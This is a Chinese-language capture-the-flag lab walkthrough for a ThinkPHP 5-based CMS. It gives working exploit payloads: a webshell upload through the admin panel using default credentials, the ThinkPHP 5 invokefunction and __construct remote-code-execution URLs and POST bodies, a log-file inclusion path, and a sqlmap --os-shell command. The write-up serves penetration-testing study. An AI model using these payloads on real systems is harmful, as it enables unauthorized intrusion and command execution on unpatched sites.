一、 靶场考核点
通关要求:获取网站根目录下的flag
靶场通关:
1、 后台文件上传。
2、 Tp5 rce
3、 TP5 日志包含
4、 SQL注入Getshell
5、 其他
二、 靶场复现
1、后台文件上传
①使用admin/123456,进入后台

②文章管理--->文章列表--->发布文章处存在文件上传

首先上传一个具有图片头的图片马

然后点击保存,bp开启拦截
修改jpg为php,然后放行

然后刷新页面,获取php文件路径

③浏览器访问上传的php文件

2、Tp5 rce
①根据页面报错,得知该cms是基于tp5二次开发的

②工具梭哈

index//?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=system('whoami')

③获取flag
flag{asd59sdfdsf-555dfg2dfg2d-sdfsdf-cmps}

小知识点
http://192.168.93.225:88/index//?s=captcha&test=-1
POST: _method=__construct&filter[]=phpinfo&method=GET&get[]=1
如何修改poc,从而rce
// poc: _method=__construct&filter[]=assert&method=GET&get[]=system('whoami')

3、Tp5 文件包含
其实就是复现tp5 文件包含
首页搜索框处产生的操作行为都会记录到日志文件中

搜索phpinfo

文件包含,包含当天的日志
/?s=index/\think\Lang/load&file=../runtime/log/202112/22.log

4、Sql注入getshell
找到注入点,直接sqlmap ,看是否具有文件读写权限
如果有文件读写权限,可通过–os-shell 执行os命令 或者 –sql-shell 读取 flag文件
Python sqlmap.py -r 2.txt --os-shell


三、 漏洞分析
略